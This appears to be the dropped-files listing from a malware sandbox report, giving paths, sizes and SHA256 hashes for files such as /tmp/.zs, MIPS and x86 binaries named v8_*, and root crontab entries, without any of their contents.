                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    .zs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /tmp/.zs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 5KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 61f56d2169d8edb9a92efe22fbf924baa74b93c97f146c944652675651def62f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    v8_mips
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /tmp/v8_mips
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 832KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 565e8aac3ab79f1c4a7d828b530924331764509d4eb764f5e90c2bbcc9006434
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    v8_mipsel
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /tmp/v8_mipsel
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 832KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 29b17b96706364e4ff9f901c2c3f1d605da6ef9f852b4982b0045ed1cd2ae367
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    v8_x86
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /tmp/v8_x86
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 37KB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 002acfee794f9112e18ef5b12f95d6d465a8361fed9fd7989b0dc70f0c1c8a62
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    root
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /var/spool/cron/crontabs/root
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 507B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 4d3c2106f7b5212a3990cbf9e10522cbb002a1073b0734c8383166c2293df12b
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tmp.zcplvh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /var/spool/cron/crontabs/tmp.zcplvh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 341B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 81206a1d56b7c544bad13ad473b19a25b86e60ec4b8c7e75097788036ad91c20
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    root
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Path /var/spool/cron/root
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Size 166B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • SHA256 141492e494b3319b28a4d7f86a2598dacde29169ce254fb1f5e50d24984dfd41
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Submit Download